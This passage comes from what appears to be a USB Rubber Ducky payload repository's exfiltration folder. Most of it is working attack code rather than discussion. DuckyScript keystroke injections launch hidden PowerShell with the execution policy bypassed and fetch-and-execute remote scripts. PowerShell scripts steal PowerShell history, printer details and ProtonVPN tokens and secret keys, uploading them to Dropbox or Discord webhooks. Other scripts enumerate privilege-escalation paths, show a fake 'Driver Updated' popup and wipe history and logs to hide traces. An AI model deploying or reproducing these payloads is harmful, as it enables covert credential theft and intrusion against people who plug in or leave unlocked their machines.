Write-Host `\"### Scanning Network `$NetAddr - `$BroadAddr ###`\" `n  Write-Host `\"`n`\" `n  for(`$i=`$NetAddrOctet3+1; `$i -lt `$BroadAddrOctet3 ; `$i++){ `n  `$pcomplete = (`$i / `$BroadAddrOctet3) * 100 `n  `$PingAddr=[string]([string]`$NetAddrOctet0 + `\".`\" + [string]`$NetAddrOctet1 + `\".`\" + [string]`$NetAddrOctet2 + `\".`\" + [string]`$i) `n Write-Progress -Activity Scanning -Status 'Progress->' -PercentComplete `$pcomplete -CurrentOperation OuterLoop `n if ((Test-Connection `$PingAddr -Quiet -Count 1) -and ([string]`$IPaddr -ne `$PingAddr)){ `n  `$Output=`$(Get-NetNeighbor -IPAddress `$PingAddr -ErrorAction SilentlyContinue | Select-Object -Property IPAddress,LinkLayerAddress,State | Format-Table -HideTableHeaders | Out-String) `n `$Output=(`$Output -replace `\"`n`\",`\"`\") `n Write-Host `$Output `n  } `n if (`$NetAddrOctet2 -ne `$BroadAddrOctet2){ `n  for (`$j=`$NetAddrOctet2+1; `$j -lt `$BroadAddrOctet2 ; `$j++){ `n `$pincomplete = (`$j / `$BroadAddrOctet2) * 100 `n Write-Progress -Id 1 -Activity Updating -Status 'Progress' -PercentComplete `$pincomplete -CurrentOperation InnerLoop `n if (Test-Connection `$PingAddr -Quiet -Count 1){ `n Write-Host `$PingAddr `n } `n } `n } `n } `n \" | Out-File $ENV:temp/netscan.ps1\nENTER\nDELAY 1000\nREM Give process ability to run unsigned scripts\nSTRING Set-ExecutionPolicy Bypass -Scope Process\nDELAY 100\nENTER\nDELAY 100\nSTRING cd $ENV:temp\nDELAY 100\nENTER\nDELAY 100\n\nREM Execute and email results as .txt file\nREM Line condensed into one so the rubber ducky can be removed without waiting for the script to finish.\nREM The script is not multi-threaded, so it takes about 6 minutes to scan a class \"C\" subnet.\nREM Conducts cleanup and removes history to protect email creds.\n\nREM\t~~~~~~~CHANGE THE USERNAME (3 times) AND PASSWORD (once) IN THE FOLLOWING~~~~~\nSTRING .\\netscan.ps1 | Out-File netscan.txt && Send-MailMessage -From user@example.com -To user@example.com -Subject \"LAN scan\" -Body \"From Rubber Ducky\" -Attachment $ENV:temp\\netscan.txt -SmtpServer smtp-mail.outlook.com -Port 587 -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList user@example.com, (ConvertTo-SecureString -String \"supersecretpassword\" -AsPlainText -Force)) && Remove-Item netscan.* -Force && Remove-Item (Get-PSReadlineOption).HistorySavePath -Force && Clear-History\nDELAY 100\nENTER\nREM 27.3 hour delay to allow script full time to scan a class \"B\" subnet then close process\nDELAY 10000\nREPEAT 9831\nSTRING EXIT\nDELAY 100\nENTER\n\n"
  },
  {
    "path": "payloads/library/exfiltration/Powershell-History/PH.ps1",
    "content": "#Powershell-History\r\n\r\n# See if file is a thing\r\nTest-Path -Path \"$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\" -PathType Leaf\r\n\r\n#If the file does not exist, write to host.\r\nif (-not(Test-Path -Path \"$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\" -PathType Leaf)) {\r\n     try {\r\n         Write-Host \"The Powershell History file has not been found. \"\r\n     }\r\n     catch {\r\n         throw $_.Exception.Message\r\n     }\r\n }\r\n # Copy Powershell History to Temp Directory to get sent to Dropbox\r\n  else {\r\n     $F1 = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_ps_history.txt\"\r\n     Copy-Item \"$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\" -Destination \"$env:tmp/$F1\" \r\n }\r\n\r\n\r\nfunction DropBox-Upload {\r\n\r\n    [CmdletBinding()]\r\n    param (\r\n        \r\n    [Parameter (Mandatory = $True, ValueFromPipeline = $True)]\r\n    [Alias(\"f\")]\r\n    [string]$SourceFilePath\r\n    ) \r\n    $DropBoxAccessToken = \"YOUR-DROPBOX-ACCESS-TOKEN\"   # Replace with your DropBox Access Token\r\n    $outputFile = Split-Path $SourceFilePath -leaf\r\n    $TargetFilePath=\"/$outputFile\"\r\n    $arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\r\n    $authorization = \"Bearer \" + $DropBoxAccessToken\r\n    $headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\r\n    $headers.Add(\"Authorization\", $authorization)\r\n    $headers.Add(\"Dropbox-API-Arg\", $arg)\r\n    $headers.Add(\"Content-Type\", 'application/octet-stream')\r\n    Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\r\n    }\r\n\r\nDropBox-Upload -f \"$env:tmp/$F1\"\r\n\r\n$done = New-Object -ComObject Wscript.Shell;$done.Popup(\"Driver Updated\",1)\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Powershell-History/README.md",
    "content": "<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Powershell+History!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Powershell-History\n\nA payload to exfiltrate the history of the powershell console\n\n## Description\n\nThis payload will enumerate through the powershell directories, looking for the file that stores the history of the powershell console\n\nThese files will be saved to the temp directory\n\nFinally dropbox will be used to exfiltrate the files to cloud storage\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Powershell-History/payload.txt",
    "content": "REM     Title: Powershell-History\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload is meant to exfiltrate powershells history to a dropbox, powershell is commonly used for IT automation\r\n\r\nREM     Target: Windows 10\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Printer-Recon/PR.ps1",
    "content": "﻿function DropBox-Upload {\n\n[CmdletBinding()]\nparam (\n\t\n[Parameter (Mandatory = $True, ValueFromPipeline = $True)]\n[Alias(\"f\")]\n[string]$SourceFilePath\n) \n$DropBoxAccessToken = \"YOUR-DROPBOX-TOKEN\"   # Replace with your DropBox Access Token\n$outputFile = Split-Path $SourceFilePath -leaf\n$TargetFilePath=\"/$outputFile\"\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\n$authorization = \"Bearer \" + $DropBoxAccessToken\n$headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\n$headers.Add(\"Authorization\", $authorization)\n$headers.Add(\"Dropbox-API-Arg\", $arg)\n$headers.Add(\"Content-Type\", 'application/octet-stream')\nInvoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\n}\n\nfunction Clean-Exfil { \n\n# empty temp folder\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# delete run box history\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Empty recycle bin\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n\n}\n\n$F1 = \"$env:tmp/$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_PrinterDriver.txt\"\n\nGet-Printer | Select-Object Name, Type, DriverName, Shared, Location > $F1\n\nDropBox-Upload -f $F1\n\nClean-Exfil\n\n\n\n\n\n"
  },
  {
    "path": "payloads/library/exfiltration/Printer-Recon/README.md",
    "content": "<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Printer+Recon!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Printer-Recon\n\n## Description\n\nThis payload is meant to exfiltrate printer information for further social engineering or driver explotation. Can also be used to find printer web interfaces on the network\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Printer-Recon/payload.txt",
    "content": "REM     Title: Printer-Recon\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload is meant to exfiltrate printer information for further social engineering or driver explotation. Can also be used to find printer web interfaces on the network\r\n\r\nREM     Target: Windows 10\r\n\r\nDEFINE TARGET_URL example.com\r\n\r\n\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr TARGET_URL dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download in the DEFINE constant\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Priv-Paths/README.md",
    "content": "<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Priv+Paths!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Priv-Paths\n\n## Description\n\nA payload to enumerate unqouted service paths for privilege escalation and send to a discord webhook.\n\n## Getting Started\n\n### Dependencies\n\n* Discord Webhook or other service that uses webhooks\n* Windows 10\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Command will be entered in the command prompt to search for unqouted service paths so you can later exploit them for priv esc\n```\nwmic service get name, displayname, pathname, startmode | findstr /i \"Auto\" | findstr /i /v \"C:\\Windows\\\\\" | findstr /i /v ^\"^\"^\" > p.txt\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Priv-Paths/payload.txt",
    "content": "REM     Title: Priv-Paths\r\nREM     Author: atomiczsec\r\nREM     Description: A payload to enumerate unqouted service paths for privilege escalation and send to a discord webhook.\r\nREM     Target: Windows 10\r\n\r\n\r\nREM Put your discord webook in this define variable, it has the name of \"d\" to minimize the typing time of the rubberducky\r\nDEFINE #d YOUR-DISCORD-WEBHOOK\r\n\r\nDELAY 3000\r\nGUI r \r\nDELAY 1000\r\nSTRING cmd \r\nENTER\r\nDELAY 500\r\nSTRING cd %HOMEPATH%\r\nENTER\r\nDELAY 1000\r\nSTRING wmic service get name, displayname, pathname, startmode | findstr /i \"Auto\" | findstr /i /v \"C:\\Windows\\\\\" | findstr /i /v ^\"^\"^\" > p.txt\r\nENTER\r\nDELAY 1000\r\nSTRING curl.exe -F \"payload_json={\\\"username\\\": \\\"p\\\", \\\"content\\\": \\\"**Paths**\\\"}\" -F \"file=@p.txt\"\r\nSPACE\r\nSTRING #d\r\nENTER\r\nDELAY 200\r\nSTRING del p.txt\r\nENTER\r\nDELAY 100\r\nSTRING exit\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Proton-Hog/README.md",
    "content": "<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Proton+Hog!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Proton-Hog\n\nA payload to exfiltrate the user config file of Proton VPN that contains keys and usernames as well as acount information.\n\n## Description\n\nThis payload will enumerate through the ProtonVPN directories, looking for the file that stores the userconfig file\n\nThen dropbox will be used to exfiltrate the files to cloud storage\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Proton-Hog/payload.txt",
    "content": "REM     Title: Proton-Hog\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: A payload to exfiltrate the user config file of Proton VPN that contains keys and usernames as well as acount information.\r\n\r\n\r\nREM     Target: Windows 10\r\n\r\nDEFINE TARGET_URL example.com\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr TARGET_URL dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download in the DEFINE constant\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1"
  },
  {
    "path": "payloads/library/exfiltration/Proton-Hog/s.ps1",
    "content": "function DropBox-Upload {\r\n\r\n    [CmdletBinding()]\r\n    param (\r\n        \r\n    [Parameter (Mandatory = $True, ValueFromPipeline = $True)]\r\n    [Alias(\"f\")]\r\n    [string]$SourceFilePath\r\n    ) \r\n    $DropBoxAccessToken = \"YOUR-DROPBOX-TOKEN\"   # Replace with your DropBox Access Token\r\n    $outputFile = Split-Path $SourceFilePath -leaf\r\n    $TargetFilePath=\"/$outputFile\"\r\n    $arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\r\n    $authorization = \"Bearer \" + $DropBoxAccessToken\r\n    $headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\r\n    $headers.Add(\"Authorization\", $authorization)\r\n    $headers.Add(\"Dropbox-API-Arg\", $arg)\r\n    $headers.Add(\"Content-Type\", 'application/octet-stream')\r\n    Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\r\n    }\r\n\r\n# Test the path to the ProtonVPN directory and if it is availible, change directory to where the user.config is stored\r\n\r\nif (-not(Test-Path \"$env:USERPROFILE\\AppData\\Local\\ProtonVPN\")) {\r\n     try {\r\n         Write-Host \"The VPN folder has not been found. \"\r\n     }\r\n     catch {\r\n         throw $_.Exception.Message\r\n     }\r\n }\r\n\r\n  else {\r\n$protonVpnPath = \"$env:USERPROFILE\\AppData\\Local\\ProtonVPN\"\r\ncd $protonVpnPath\r\nGet-ChildItem | Where-Object {$_.name -Match \"ProtonVPN.exe\"} | cd\r\nGet-ChildItem | cd\r\n\r\n# Upload user.config to dropbox\r\nDropBox-Upload -f \"user.config\"\r\n} "
  },
  {
    "path": "payloads/library/exfiltration/ProtonVPN-config/ProtonVPN-config.ps1",
    "content": "$Path = \"$Env:USERPROFILE\\AppData\\Local\\ProtonVPN\\ProtonVPN*\\*\\user.config\"\n\n$Content = Get-Content -Path $Path\n\n$text = $Path + $Content\n\n# Discord Connection\n$hookurl = \"$discord\"\n\n# Loop for Discord\n$ConstantLimitForRestMethod = 1999\n$TMP_Body = @{\n\t'username' = $env:username\n\t'content' = \"\"\n}\n for($i = 0; $i -lt $text.Length; $i+=$ConstantLimitForRestMethod){\n\ttry {\n\t\t$TMP_Body = @{\n  \t\t\t'username' = $env:username\n  \t\t\t'content' = $text.Substring($i, $ConstantLimitForRestMethod)\n\t\t}\n\t} catch [ArgumentOutOfRangeException] {\n\t\tif($text.Length-$i -gt 0){\n\t\t\t$TMP_Body = @{\n  \t\t\t'username' = $env:username\n  \t\t\t'content' = $text.Substring($i, $text.Length-$i)\n\t\t\t}\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tInvoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($TMP_Body | ConvertTo-Json)\n}\n\n\n# Clear the PowerShell command history\nClear-History"
  },
  {
    "path": "payloads/library/exfiltration/ProtonVPN-config/README.md",
    "content": "# ProtonVPN config file ✅\n\nA script used to stole target ProtonVPN config file.\n\n**Category**: Credentials, Exfiltration\n\n## Description\n\nThis script will stole target ProtonVPN config file.\n\nOpens PowerShell hidden, grabs ProtonVPN config file, saves as a cleartext in a variable and exfiltrates info via Discord Webhook.\nIn the config file you can find a lot information about the user like:\n- UserUid \n- UserAccessToken\n- UserRefreshToken\n- UserAuthenticationPublicKey\n- UserAuthenticationSecretKey\n- UserAuthenticationCertificatePem\n- UserCertificationServerPublicKey \n- and so on...\n\nThen it cleans up traces of what you have done after.\n\n## Getting Started\n\n### Dependencies\n\n* ProtonVPN user logged at least one time\n* An internet connection\n* Windows 10,11\n\n### Executing program\n\n* Plug in your device\n* Invoke Get-Content for get in plaintext the ProtonVPN .config content\n* Invoke-WebRequest will be entered in the Run Box to send the content\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/ProtonVPN-config/payload.txt",
    "content": "REM ###################################################################\nREM #                                                                 |\nREM # Title        : ProtonVPN-config-to-Discord-Exfiltration         |\nREM # Author       : Aleff                                            |\nREM # Version      : 1.0                                              |\nREM # Category     : Credentials, Exfiltration                        |\nREM # Target       : Windows 10-11                                    |\nREM #                                                                 |\nREM ###################################################################\n\nREM Title: ProtonVPN-config-to-Discord-Exfiltration\nREM Author: Aleff\nREM Description: Opens PowerShell hidden, grabs ProtonVPN config file, saves as a cleartext in a variable and exfiltrates info via Discord Webhook.\nREM              In the config file you can find a lot information about the user like:\nREM              - UserUid \nREM              - UserAccessToken\nREM              - UserRefreshToken\nREM              - UserAuthenticationPublicKey\nREM              - UserAuthenticationSecretKey\nREM              - UserAuthenticationCertificatePem\nREM              - UserCertificationServerPublicKey \nREM              - and so on...\nREM              Then it cleans up traces of what you have done after.\nREM Target: Windows 10-11 (PowerShell + ProtonVPN software)\nREM Version: 1.0\nREM Category: Credentials, Exfiltration\nREM Requirements: ProtonVPN user logged at least one time and internet connection\nREM \n\nREM REQUIRED - Provide your url WEBHOOK - https://discordapp.com/api/webhooks/<webhook_id>/<token>\nDEFINE WEBHOOK example.com\n\nDELAY 2000\nGUI r\nDELAY 250\nDELETE\nSTRING powershell -w h -ep bypass $discord='\nSTRING WEBHOOK\n\nREM Reply example.com with YOUR LINK. The Payload should be ProtonVPN-config.ps1\nDEFINE PAYLOAD example.com\nSTRING ';irm PAYLOAD | iex\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/Public-IP-Grabber/payload.txt",
    "content": "REM Title:         Public IP Grabber\nREM Description:   Extracts the public IP address of the current connected network onto the ducky\nREM Author:        matthewkayne\nREM Category:      Exfiltration\nREM Target:        macOS (Terminal)\nREM Requires:      Twin Duck firmware or separate USB stick (requires change to the path of the file)\n\n\nDELAY 1000\nGUI SPACE\nDELAY 400\nSTRING terminal\nENTER\nDELAY 200\nSTRING dig +short txt ch whoami.cloudflare @1.0.0.1 > /Volumes/DUCKY/public-ip.txt\nENTER\nDELAY 200\nENTER\nDELAY 200\nGUI w\nDELAY 200\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/Pwn-Drive/README.md",
